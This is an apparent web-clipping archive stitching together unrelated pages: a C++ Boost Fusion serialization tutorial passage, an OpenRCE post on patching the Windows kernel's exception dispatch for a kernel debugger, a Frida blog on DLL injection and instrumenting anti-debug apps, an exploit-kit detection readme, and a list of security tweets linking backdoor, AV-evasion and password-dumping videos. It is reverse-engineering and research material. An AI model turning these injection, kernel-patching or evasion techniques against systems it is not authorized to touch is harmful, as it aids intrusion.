__first verifies that opts\_ has been set and then conditionally reads a value
if the appropriate bit is set.

The writer case is a bit more interesting; we have to stash the location in
the buffer where we write the bitmask when we encounter the opt\_fields
marker, and then update it with each optional field subsequently encountered.

[code]

    struct writer {
        mutable asio::mutable_buffer buf_;
        mutable example::opt_fields::bits_type opts_;
        mutable example::opt_fields::value_type *optv_;
    
        explicit writer(asio::mutable_buffer buf)
        : buf_(std::move(buf))
        , optv_(nullptr)
        { }
    
        // ...
    
        void operator()(example::opt_fields) const {
            opts_.reset();
            optv_ = asio::buffer_cast<example::opt_fields::value_type*>(buf_);
            buf_ = buf_ + sizeof(example::opt_fields::value_type);
        }
    
        template<class T, size_t N>
        void operator()(example::optional_field<T, N> const& val) const {
            if (!optv_)
                throw ...
            if (val) {
                opts_.set();
                *optv_ = static_cast<example::opt_fields::value_type>(opts_.to_ulong());
                (*this)(*val);
            }
        }
    };
[/code]

With this capability in place we can now handle an option\_t with optional
fields -

[code]

    namespace example {
        // ...
        enum class exercise_t : char {
            american = 'A', // default if not present
            european = 'E'
        };
    
        using opt_fields = optional_field_set<uint16_t>;
        using opt_exercise = optional_field<excercise_t, 0>;
        using opt_quote_ticks = optional_field<decimal_t, 1>;
    } // namespace example
    
    BOOST_FUSION_DEFINE_STRUCT(
        (example), option_t,
        (std::string, contract_id)
        (std::string, underlying_id)
        (example::decimal_t, strike)
        (example::put_call_t, put_call)
        (posix::date, expiration)
        (example::opt_fields, opts)
        (example::opt_exercise, opt_a)
        (example::opt_quote_ticks, opt_b)
    )
[/code]

## Being Lazy

The examples so far have used types like _std::string_ , _std::vector_ ,
_std::map_ , etc. These all require allocations \(_std::map_ is particularly
awful in this regard\) and copies. If we can guarantee the lifetime of the
underlying Asio buffer exceeds the required lifetime for our structs, we can
avoid or defer allocations and excess copying.

### Strings

Boost contains an implementation of a non-owning _string\_view_ \(Standard C++
proposal N3849 named string\_ref. This type is largely a drop in replacement
for _std::string_ where we can guarantee the lifetime of the underlying
buffer.

Our earlier implementation for std::string -

[code]

    #include <string>
    
    struct reader {
       // ...
    
       void operator()(std::string& val) const {
            uint16_t length;
            (*this)(length);
            val = std::string(asio::buffer_cast<char const*>(buf_), length);
            buf_ = buf + length;
        }
    };
[/code]

Becomes -

[code]

    #include <boost/utility/string_ref.hpp>
    
    struct reader {
       // ...
    
       void operator()(boost::string_ref & val) const {
            uint16_t length;
            (*this)(length);
            val = boost::string_ref(asio::buffer_cast<char const*>(buf_), length);
            buf_ = buf + length;
        }
    };
[/code]

We can then change the Fusion struct to use this type instead -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), option_t,
        (string_ref, contract_id)
        (string_ref, underlying_id)
        (example::decimal_t, strike)
        (example::put_call_t, put_call)
        (posix::date, expiration)
    )
[/code]

### Lazily constructed types

We might want to defer the cost of construction until we actually need the
contents of a particular field. With same lifetime guarantees we assume in the
case _string\_ref_ , it is possible to build a type which will do this -

[code]

    BOOST_FUSION_DEFINE_STRUCT(
        (example), spread_t,
        (string_ref, contract_id)
        (lazy<std::vector<example::option_t>>, legs)
    )
    
    //...
    
    void process_legs(example::spread_t const& s) {
        for(auto&& leg : s.legs.get()) {
            // ...
        }
    }
[/code]

Our _lazy <T>_ needs to -

  * cheaply determine the length of _T_
  * encode buffer position and length
  * decode and construct on demand

Computing the size of T in a buffer is _almost_ the same as reading T from the
buffer -

[code]

    struct sizer {
        mutable asio::const_buffer buf_;
        mutable size_t size_;
    
        explicit sizer(asio::const_buffer buf)
        : buf_(std::move(buf))
        , size_(0)
        { }
    
        template<class T>
        auto operator()(T &) const ->
            typename std::enable_if<std::is_integral<T>::value>::type {
            size_ += sizeof(T);
            buf_ = buf_ + sizeof(T);
        }
    
        // ...
    };
    
    template<class T>
    size_t get_size(asio::const_buffer buf) {
        sizer s(std::move(buf));
        T val;
        s(val);
        return s.size_;
    }
[/code]

With the sizer in place, the _lazy <T>_ implementation is straight forward -

[code]

    template<class T>
    struct lazy {
        asio::const_buffer buf_;
    
        lazy(asio::const_buffer const& buf)
            : buf_(asio::buffer_cast<void const*>(buf),
                   get_size<T>(buf))
        {
            buf = buf + asio::buffer_size(buf_);
        }
    
        T get() const { return read<T>(buf_); }
    
        size_t size() const { return asio::buffer_size(buf_); }
    };
[/code]

The last step is adding an overload to the reader -

[code]

    struct reader {
        // ...
    
        template<class T>
        void operator()(lazy<T> & val) const {
            val = lazy<T>(buf_);
            buf_ = buf_ + val.size();
        }
    };
[/code]

## Getting field names and structure pretty-printing

All examples so far have demonstrated getting the type and reference to a
field within a Fusion struct. There are times when we would like to get access
to field names as a string. Fusion provides a way to get at this, but it is
not particularly well documented and the approach deviates a bit from what we
have done so far. Fusion has an extension function template called
_struct\_member\_name <T, N>_ where the two template arguments are -

  * T - the Fusion struct
  * N - the index of the field within the Fusion struct for which we wish to retrieve the name

The Fusion visitor function _for\_each\(\)_ unfortunately does not give us a
usable N, which must be a constant known at compile time, to supply to
_struct\_member\_name <>_. We can however leverage the fact that every Fusion
sequence is an MPL sequence to get us where we need to be -

[code]

    #include <boost/mpl/range_c.hpp>
    
    namespace detail {
        namespace mpl = boost::mpl;
        template<class T>
        using typename range_c = mpl::range_c<int, 0, mpl::size<T>::value>;
    };
[/code]

Here the range\_c type will generate a _compile-time_ sequence of integral
values from 0 to the length of the supplied boost::mpl sequence. This
definition is used to construct a printer type that exposes an stream
insertion operator<<\(\) which will visit each field index of a given Fusion
type -

[code]

    #include <boost/mpl/for_each.hpp>
    
    #include <ostream>
    
    namespace detail {
        // ...
        template<class T>
        struct mpl_visitor {
            // ...
        };
    }
    
    template<class T>
    struct printer {
        T & msg_;
    
        // ...
    
        friend std::ostream& operator<<(std::ostream& stm, printer<T> const& v) {
            using namespace detail;
            boost::mpl::for_each<typename range_c<T>>(mpl_visitor<T>(stm, v.msg_));
            return stm;
        }
    };
[/code]

Now define the mpl\_visitor detail -

[code]

    #include <boost/fusion/include/value_at.hpp>
    #include <boost/fusion/include/at.hpp>
    
    namespace detail {
        struct value_writer {
            // ...
        };
    
        // ...
    
        namespace f_ext = boost::fusion::extension;
        template<class T>
        struct mpl_visitor {
            value_writer w_;
            T & msg_;
    
            mpl_visitor(std::ostream & stm, T & msg)
                : value_writer_(stm)
                , msg_(msg)
            { }
    
            template<class N>
            void operator()(N idx) {
                w_(f_ext::struct_member_name<T, N::value>::call(), ":");
                w_(fusion::at<N>(msg_),
                    (idx != mpl::size<T>::value ? "," : ""));
            }
        };
    }
[/code]

Lastly, define a free function to return an instance of _printer <T>_

[code]

    // ...
    
    template<class T>
    detail::printer<T> pretty_print(T const& v) {
        return detail::printer<T>(v);
    }
    
    int main(int argc, char** argv) {
        example::spread_t s;
        // ...
        std::cout << pretty_print(s) << std::endl;
        return 0;
    }
[/code]

# OpenRCE

**Created:**| _7/16/2010 9:20:11 AM_  
---|---  
**Updated:**| _7/16/2010 9:20:29 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing kernel windows environment windbg_  
  
**Kernel debugger vs user mode exceptions**| **Author:**omeg <img
src='img/Temp2_5899.gif' />| **\# Views:** 402  
---|---  
  
Kernel debugger is a nice and nifty tool allowing us to do things not
otherwise possible. Total control over debugged OS and all processes is the
main reason to use it. However, there are some hiccups and obstacles that may
disrupt our work. One of the most common is the case of intercepting user-mode
exceptions with kernel-mode debugger.  
  
Let's assume we have windbg connected to the debuggee OS as a kernel mode debugger. What can we do to catch user-mode exceptions that interest us? First, there is the 'Debug | Event Filters' menu \(or sx\* commands\) that controls debugger's behavior when it does encounter an exception in debugged code. In short, 'Execution - Enabled' option tells the debugger to break on the specific exception. There is a catch though - it only works for kernel mode code 'out of the box'. That is, if we enable breaks on 'Illegal instruction' and run some user-mode program on the debugged OS that generates it, windbg won't break. Why? Well, we're in the kernel debug mode after all.  
  
How to make it work then? It's pretty simple. All NT-based Windows systems
support 'Global Flags' debugging mechanism in the kernel, which is a
collection of system-wide debugging flags. From within windbg we can access it
using '\!gflag' extension command. And one of the flags is 'Break on
exceptions' - which means kernel debugger will be notified not only of kernel-
mode exceptions, but also user-mode ones. Neat. To activate it, use '\!gflag
+soe' windbg command.  
  
Now all is well, we can see that windbg breaks on every exception in user-mode
code. Or does it? There is still one special case that evades our cleverly
laid traps. If the user-mode program A is being debugged \(using user-mode
Debug API\) by user-mode program B, we \(windbg running as a kernel-mode
debugger\) won't get exceptions coming from program A - program B will get
them instead. It's a bit counter-intuitive, as one would think that a kernel-
mode debugger should receive every exception before user-mode debuggers. That
isn't the case though, and it seems to be the design decision by Microsoft.
All is not lost though - we can still force windbg to receive every and all
exceptions before they get to any user-mode debugger in the debugged OS.  
  
To learn how to do that, we need to dive deep into the Windows' kernel
function responsible for kernel-mode exception dispatching -
KiDispatchException. This is the 'main' code responsible for deciding what to
do with an exception that was encountered. It services both kernel-mode and
user-mode exceptions, first- and second-chance ones, and most importantly -
decides whether to notify kernel debugger about the event or not. Not all
events are forwarded to kd \(kernel debugger\), as we've learned before. But
because we are in control of the target system, we can modify the
KiDispatchException routine to do our bidding - or routing ALL exceptions to
kernel debugger first.  
  
The exact details of the patch vary between systems, but structure of
KiDispatchException function is pretty much the same. Using IDA to reverse
engineer the kernel, studying Windows Research Kernel or ReactOS sources
certainly helps. Disassembly of original KiDispatchException function along
with the patch point from two Windows systems is provided below - 32-bit
Windows XP Pro and 64-bit Windows 7 with all updates as of 2010-07-14.
Modifying other kernels is left as an exercise to the reader. :\)  
  
XP 32-bit  
7 64-bit  
  

Blog Comments<img src='img/Temp2_5900.gif' /> j00ru <img
src='img/Temp2_5899.gif' />| Posted: Wednesday, July 14 2010 00:17.33 CDT  
---|---  
Hey, interesting post\!  
  
One thing that should be noted, is that your modification can only work
correctly, if the KD is attached right at the boot-time in case of 64-bit
system versions. This is caused by the specific way of how PatchGuard is
initialized:  
  
"This means that if a debugger is attached to the system prior to the indirect
initialization of the PatchGuard protections, then the protections will not be
initialized because the divide error fault will not be triggered. \(...\)
However, this only works if the debugger is attached to the system during
boot. If a developer subsequently attaches a debugger after PatchGuard has
initialized, then the act of setting breakpoints or performing other actions
may loead to a bluscreen as a result of PatchGuard detecting the alterations."  
\(via Bypassing PatchGuard on Windows x64, Uninformed\)  
  
Otherwise, you end up with the CRITICAL\_STRUCTURE\_CORRUPTION bugcheck
\(verified in practice\).  
  
Besides that, cool idea.

# kennethkufluk/js-mindmap · GitHub

**Created:**| _5/2/2013 9:21:58 AM_  
---|---  
**Updated:**| _5/2/2013 9:21:58 AM_  
**Author:**| __  
**Tags:**| _web programming_  
  

[code]

    js-mindmap
    
    Kenneth Kufluk 2008/09/10/11
    
    This code is provided at:
    https://github.com/kennethkufluk/js-mindmap
    
    A demo is provided at:
    http://kenneth.kufluk.com/google/js-mindmap/
    
    Requires jQuery for basic shortcuts ($) and stuff.
    Requires Raphael for drawing.
    jQuery UI may be used to allow draggable nodes.
    
    This code is released under license.  Please leave acknowledgements and copyright messages in the code.
[/code]

# bro-scripts/exploitkit at master · sooshie/bro-scripts · GitHub

**Created:**| _12/1/2014 10:02:53 AM_  
---|---  
**Updated:**| _12/1/2014 10:02:53 AM_  
**Author:**| __  
**Tags:**| __  
  

# bro-scripts/exploitkit at master · sooshie/bro-scripts · GitHub

###  Readme.md

One of the many ways to look for Exploit Kit/drive-by behavior. By default,
this script looks for a common exploit type: Java JAR \(zip\), Java Applet, or
PDF that precedes a DOS executable. The behavior is tracked by source IP and a
2min window is allowed for an exploit type and exec to be seen. Additionally,
all DOS executables downloaded via HTTP with a User-Agent that contains
'Java/' will be flagged.

Notices are generated for the suspicious file combination, and for the JVM
downloading executable content.

Created and tested on Bro 2.3.1

# Live x86 Code Instrumentation with Frida

**Created:**| _7/21/2010 3:02:42 PM_  
---|---  
**Updated:**| _7/21/2010 3:02:57 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation reversing x86_  
  

### Live x86 Code Instrumentation with Frida

Since I moved to Oslo in February, I’ve had the pleasure of working together
with Ole André Vadla Ravnås \(say that ten times quick, or optimize and use
@oleavr\). In our not-so-ample spare time, we’ve been hacking on the Frida
project that Ole André and Håvard started a while ago.

The Frida IRE is a free, interactive disassembler and reverse-engineering
environment that we’re slowly piecing together for doing reverse-engineering
the way  _we_ want it. It’s primarily targeted at binary code for the x86
\(32bit and 64bit\), ARM \(Thumb, 32 and Thumb2\) and MIPS. I’ve written the
MIPS and ARM 32 and Thumb disassemblers, and I’m still working on the x86 \(32
and 64\) and the Thumb2 ARM disassembler.

I expect I’ll be blogging a lot about this project in the time to come,
because there’s so much really cool stuff jam-packed into Frida now, of the
feeling-very-brainy-when-we-figured-how-to-do-this type.

The first really cool part I’ll mention, is a project Ole André—-the
undisputed Frida coding hero—-recruited me to do pair programming on. It’s a
Windows-specific code tracing engine, which we refer to as a  _stalker_. Think
debugging running processes. Think live binary code rewriting. Think aspect
oriented programming. Think inserting code chunks on the fly that inspect and
modify the registers, stack, thread local storage, heap, function call
arguments, function return values of running programs. Think scripting this.
Think doing it all safely. That’s where we want to go.

So where are? Not too far away, actually. Last year, while waiting for summer
to arrive, Ole André hacked up a prototype for a library called GUM that does
a form of dynamic recompilation of x86 code. We took this prototype and
extended it so that we can do live code tracing of any \(32bit for now — but
we have a lot of the 64bit parts work already\) Windows application. We can
even debug into Skype and Spotify, which normally kill themselves at the first
sign of a debugger or code instrumentation tool. In fact, iTunes and Skype
were our main motivation for writing this tool. Trying to figure out how these
apps work seem to require a whole different class of code inspection tools
than what Visual Studio, OllyDbg andSoftICE can provide.

### Stalking programs

The core idea of the GUM-based stalker is as follows: you give it a block of
code \(usually a basic block\), and it will generate a new basic block \(in
memory\) where each original instruction is wrapped with customizable
instrumentation code. If you somehow manage to trick the caller of the
original basic block into calling the new block, you can do live
instrumentation of the running program. This is what we referred to earlier as
stalking.

The instrumented code is generated in a conceptually simple fashion: The
original code block is disassembled, instruction by instruction. Each
instruction ends up in the instrumented code block, wrapped inside an
instrumentation template. The instrumented code is placed in a new memory
page, and this page is marked executable.

The instrumentation template may be used to do any form of code tracing you
might be interested in. It might look at the state of the
stack/registers/heap, before or after any instruction in the basic block. In
pure instrumentation mode, the template will never modify any state — the
instrumentation is completely hidden from the running code.

But those are basic blocks. What happens to jumps? We rewrite those. When the
stalker sees a `call`, `ret` or `jmp` instruction, we handle those specially.
We figure out where in memory the call goes to, picks up that page, and run
the stalker on it. This allows us to dynamically stalk \(trace\) through a
program, and monitor its every instruction and call \(that occurs in user-
space\).

And the really great part is that yes\!, this works for dynamic calls too, and
even for weird code that uses `ret` to call instead of `jmp` — you can’t
believe how many nights we spent figuring out all the weird corner cases in
the x86 instruction set to cover these things. Another weird corner case we’ve
added support for is code that uses a local, in-function `call` to get `esp`
\(instruction pointer\) for purposes of self-modifying code or similar. These
might sound like weird corner cases to bother about, but when doing reverse-
engineering, the subject program you’re investigating might have been run
through all kinds of obfuscators and anti-RE tricks.

### Injecting stalkers into running processes

Ole André is the kind of guy who grew up under particularly harsh conditions
in the south western part of Norway. This has hardened him to a level where
the usual abuse offered by the Win32 and Win64 APIs don’t affect him at all.
Armed with his unshakable fearlessness, he spent a few weeks in the darkest
and coldest periods of the Norwegian winter to write Win32 and Win64 apps that
dynamically inject DLLs into running applications, and also execute arbitrary
code from those DLLs.

You might already see where this is heading. By putting the stalker code into
a DLL, and injecting it into Skype or iTunes, we can all of a sudden start
tracing every instruction executed in every thread of these apps.

### Sketches of an interactive environment

The following screenshot is the Frida IRE in its current incarnation.

<img src='img/Temp2_4957.png' width='70%' alt='Frida IRE' />

This screenshot shows two possible uses of Frida:

  * We may start stalking the Spotify process when it makes a call to `WSARecv`\(somewhat equivalent to `read()` in Unix sockets\) in the `WS2_32.dll` and that we stop stalking when it does another call to the same function. I.e, we trace all that happens inside the Spotify process between two calls to `WSARecv`. If you click the `Go`-button, this will happen. 
  * We also have a CLI, of course. Here, the trace shows that we’ve eventually managed to attach a script execute on calls to `DrawTextExW` in the dynamic library `gdi32.dll`. 

The script \(not shown\) replaces the second argument to `DrawTextExW`, the
pointer to the string to draw, with a pointer to a constant string which reads
`Hei`. This is the result:

<img src='img/Temp2_4958.png' width='70%' alt='Changing calling arguments' />

Whenever you mouse over a label, it is be redrawn, and its text replaced with
`Hei`. In the screenshot, mr Vadla Ravnås has painted the play and the friends
list on the left and right hand sides, respectively.

Tags: frida reverse engineering x86 assembler disassembler

# Pylons – Extremely Flexible Python Web Framework

**Created:**| _1/8/2011 1:09:09 PM_  
---|---  
**Updated:**| _1/8/2011 1:09:37 PM_  
**Author:**| __  
**Tags:**| _setup python web programming_  
  

# Pylons – Extremely Flexible Python Web Framework

By Mufti Ali on January 7, 2011

Tweet

Share

Pylons combines the very best ideas from the worlds of Ruby, Python and Perl,
providing a structured but extremely flexible Python web framework. It’s also
one of the first projects to leverage the emerging WSGI standard, which allows
extensive re-use and flexibility — but only if you need it. Out of the box,
Pylons aims to make web development fast, flexible and easy.

<img src='img/Temp2_6536' width='600' height='212' alt='pylons Pylons
Extremely Flexible Python Web Framework' />

Pylons has been used by some of popular webiste such as digg, redit, opera and
many more. Pylons is built on Paste and allows and encourages use of your
favorite Python components and libraries:

  1. Models: SQLAlchemy, SQLObject, CouchDB, or none at all
  2. Templating: Mako, Genshi, Jinja2, or whatever you like
  3. Helpers: WebHelpers for small HTML snippets, FormAlchemy generates entire forms
  4. Request Dispatching: Routes by default, or plug in your favorite

The Pylons documentation recommends a powerful templating engine \(Mako\) and
database ORM \(SQLAlchemy\) to help you get started.

  *[January 7, 2011]: Friday, January 7th, 2011, 7:26 pm

# Twitter / wishinet's Favorites

**Created:**| _12/19/2009 4:25:29 PM_  
---|---  
**Updated:**| _12/19/2009 4:28:25 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

|

  1. <img src='img/Temp2_8613.jpg' width='48' height='48' alt='wishinet' />**wishinet** RT @securityshell: Released JSecurityModulehttp://sourceforge.net/projects/jsecuritymodule/ \- awesome. Testing now ;\)about 6 hours ago from Tweetie
     * Delete
  2. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DNS Spoofing with Virtual Hostshttp://securitytube.net/DNS-Spoofing-with-Virtual-Hosts-video.aspxabout 6 hours ago from DemoApp
     *      *   3. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Ubuntu Package Backdoor using a Metasploit Payload http://bit.ly/1758GGabout 7 hours ago from DemoApp
     *      *   4. <img src='img/Temp2_8612.jpg' width='48' height='48' alt='Jacob Appelbaum' />**ioerror** Awesome. The Pirate Party of Sweden has launched an etherpad site called Pirate Pad: http://piratepad.netabout 8 hours ago from web
     *      *   5. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Wireless Security \(Confidence 2008\)http://securitytube.net/Wireless-Security-\(Confidence-2008\)-video.aspxabout 9 hours ago from DemoApp
     *      *   6. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Software Cracking Primer using Ollydbg and a Crackme http://bit.ly/1CnLFXabout 13 hours ago from DemoApp
     *      *   7. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Subverting Windows Group Policies to run a Disabled CMD.exe http://bit.ly/GIpHHabout 14 hours ago from DemoApp
     *      *   8. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** LinuxSecurity - "Jobs for hackers"http://j.mp/69ghB412:43 PM Dec 16th from BigTweet
     *      *   9. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Attacking SSL PKI \(Louisville Infosec\)http://securitytube.net/Attacking-SSL-PKI-\(Louisville-Infosec\)-video.aspx1:27 AM Dec 16th from DemoApp
     *      *   10. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Helikaon Linux Debugger \(Recon 2008\)http://securitytube.net/Helikaon-Linux-Debugger-\(Recon-2008\)-video.aspx9:27 PM Dec 15th from DemoApp
     *      *   11. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Update : Microsoft Code Analysis Tool .NET - Binary code analysis tool http://tinyurl.com/yentv6a7:00 PM Dec 15th from API
     *      *   12. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Simple Linux Malware Construction by Netinfinity http://bit.ly/3LrFiA6:27 PM Dec 15th from DemoApp
     *      *   13. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Fuzzing in Action Using Hzzphttp://securitytube.net/Fuzzing-in-Action-Using-Hzzp-video.aspx6:27 AM Dec 15th from DemoApp
     *      *   14. <img src='img/Temp2_8608.jpg' width='48' height='48' alt='Brad Spengler' />**spendergrsec** http://lwn.net/Articles/366105/ "Arbitrary data corruption" -- well I guess that's one way of saying privilege escalation bypassing SElinux9:47 AM Dec 14th from web
     *      *   15. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Metasploit VNCInject Payload Demohttp://securitytube.net/Metasploit-VNCInject-Payload-Demo-video.aspx9:26 AM Dec 14th from DemoApp
     *      *   16. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** SANS Forensics - "PDF malware analysis"http://j.mp/4oKOdh <\-- yes6:20 AM Dec 14th from BigTweet
     *      *   17. <img src='img/Temp2_8626.jpg' width='48' height='48' alt='d3v1l' />**securityshell** Cross-Site Scripting vulnerabilities in Invision Power Board http://seclists.org/fulldisclosure/2009/Dec/3135:32 AM Dec 14th from web
     *      *   18. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Top Ten Web Hacking Techniques of 2008 \(SnowFROC\) http://bit.ly/19SyQ75:26 AM Dec 14th from DemoApp
     *      *   19. <img src='img/Temp2_8624.jpg' width='48' height='48' alt='Chris Hadnagy' />**humanhacker** Podcast 3 has been released - it is a GREAT ONE http://www.social-engineer.org/framework/Podcast/003\_-\_Framing\_-\_Alter\_the\_Reality\_Frame4:09 AM Dec 14th from web
     *      *   20. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Endianness \(Part II\)http://securitytube.net/Endianness-\(Part-II\)-video.aspx8:26 PM Dec 13th from DemoApp
     *      *   21. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Backtrack Foo \(From Bug to 0day\) Defcon 16 http://securitytube.net/Backtrack-Foo-\(From-Bug-to-0day\)-Defcon-16-video.aspx7:26 PM Dec 13th from DemoApp
     *      *   22. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** A Museum of Win32 API Obfuscationshttp://bit.ly/8vS2f77:14 PM Dec 13th from web
     *      *   23. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] CryptoAnalysis \(Types of attacks on Cryptography\) http://bit.ly/Gdeh44:26 PM Dec 13th from DemoApp
     *      *   24. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Backtrack Series 8 \(Cracking APless WEP Protected Network Using Caffe Latte\) http://bit.ly/sfxFg2:25 PM Dec 13th from DemoApp
     *      *   25. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Metasploit 101 by Mubixhttp://securitytube.net/Metasploit-101-by-Mubix-video.aspx1:25 PM Dec 13th from DemoApp
     *      *   26. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] How to make Files Undetectable by Anti Virus http://securitytube.net/How-to-make-Files-Undetectable-by-Anti-Virus-video.aspx9:25 AM Dec 13th from DemoApp
     *      *   27. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Hacking SIP Proxies with Sipvicious to make Free Calls http://bit.ly/171XqH7:25 AM Dec 13th from DemoApp
     *      *   28. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Dumping Passwords from Memory with Pmdump http://securitytube.net/Dumping-Passwords-from-Memory-with-Pmdump-video.aspx4:25 AM Dec 13th from DemoApp
     *      *   29. <img src='img/Temp2_8594.jpg' width='48' height='48' alt='Ingo und Peter' />**0x02100** Folge 22 ist online. Wir räumen den Code auf...http://0x02100.silutions.de/blog/022\_Cheddar\_Fruhjahrsputz\_im\_Winter.html\#xcode \#podcast12:16 AM Dec 13th from Echofon
     *      *   30. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Buffer Overflow Primer Part 8 \(Return to Libc Theory\) http://bit.ly/1nDPMN2:25 PM Dec 12th from DemoApp
     *      *   31. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Anti Forensics techniques for OSX \(Vincenzo Blackhat DC\) http://bit.ly/8xluxo1:25 PM Dec 12th from DemoApp
     *      *   32. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Format String Vulnerabilities Primer \(Part 1 The Basics\) http://bit.ly/adHLU12:25 PM Dec 12th from DemoApp
     *      *   33. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Storing Mined Data from the Web for Fun and Profit http://bit.ly/USk8Z9:22 PM Dec 10th from DemoApp
     *      *   34. <img src='img/Temp2_8620.jpg' width='48' height='48' alt='I)ruid' />**druidian** $ adb -d shell -> $ su -> \# id -> uid=0\(root\) gid=0\(root\) \(:7:49 PM Dec 10th from Ping.fm
     *      *   35. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Multilevel Attack with a Java Applethttp://securitytube.net/Multilevel-Attack-with-a-Java-Applet-video.aspx1:21 PM Dec 10th from DemoApp
     *      *   36. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] SSL MITM Attack Over Wirelesshttp://securitytube.net/SSL-MITM-Attack-Over-Wireless-video.aspx7:18 AM Dec 10th from DemoApp
     *      *   37. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** UPDATE: JBroFuzz 1.8\! http://tinyurl.com/ydvcwqf1:27 AM Dec 10th from API
     *      *   38. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Format String Vulnerabilities Primer \(Part 3 Crashing the Program\) http://bit.ly/R0M8o1:14 AM Dec 9th from DemoApp
     *      *   39. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DNS Information Gathering with Fiercehttp://securitytube.net/DNS-Information-Gathering-with-Fierce-video.aspx6:14 PM Dec 8th from DemoApp
     *      *   40. <img src='img/Temp2_8596.jpg' width='48' height='48' alt='Sourcefire VRT' />**VRT\_Sourcefire** Blog Post with pants and trousers: Actual Conversation - botnets explained http://bit.ly/7w0UvG6:27 AM Dec 8th from web
     *      *   41. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] The Sulley Fuzzing Frameworkhttp://securitytube.net/The-Sulley-Fuzzing-Framework-video.aspx6:14 AM Dec 8th from DemoApp
     *      *   42. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Netifera \(Java Virtual Machine as Shellcode\) http://securitytube.net/Netifera-\(Java-Virtual-Machine-as-Shellcode\)-video.aspx3:13 PM Dec 7th from DemoApp
     *      *   43. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Step by Step Software Cracking Primerhttp://securitytube.net/Step-by-Step-Software-Cracking-Primer-video.aspx2:13 PM Dec 7th from DemoApp
     *      *   44. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Sfuzz Fuzzer Demohttp://securitytube.net/Sfuzz-Fuzzer-Demo-video.aspx5:12 AM Dec 7th from DemoApp
     *      *   45. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Good overview of malware that operates as Firefox extensions: http://bit.ly/8PjtNa \(PDF by @Symantec\)4:00 AM Dec 7th from CoTweet
     *      *   46. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** UPDATE: Buster Sandbox Analyzer version 1.03\!http://tinyurl.com/yeu6rqq3:37 AM Dec 7th from API
     *      *   47. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Multilevel Attack with a Java Applethttp://securitytube.net/Multilevel-Attack-with-a-Java-Applet-video.aspx4:11 AM Dec 6th from DemoApp
     *      *   48. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] System Level Privilege Escalation on XPhttp://securitytube.net/System-Level-Privilege-Escalation-on-XP-video.aspx1:11 AM Dec 6th from DemoApp
     *      *   49. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Snort Overview \(Corky's Security Series\)http://securitytube.net/Snort-Overview-\(Corky's-Security-Series\)-video.aspx12:11 AM Dec 6th from DemoApp
     *      *   50. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://bit.ly/8CMMtu. \- Killing multiplpe process for one program like apache, wget, postfix etc. \(r00t4u\)7:39 PM Dec 5th from API
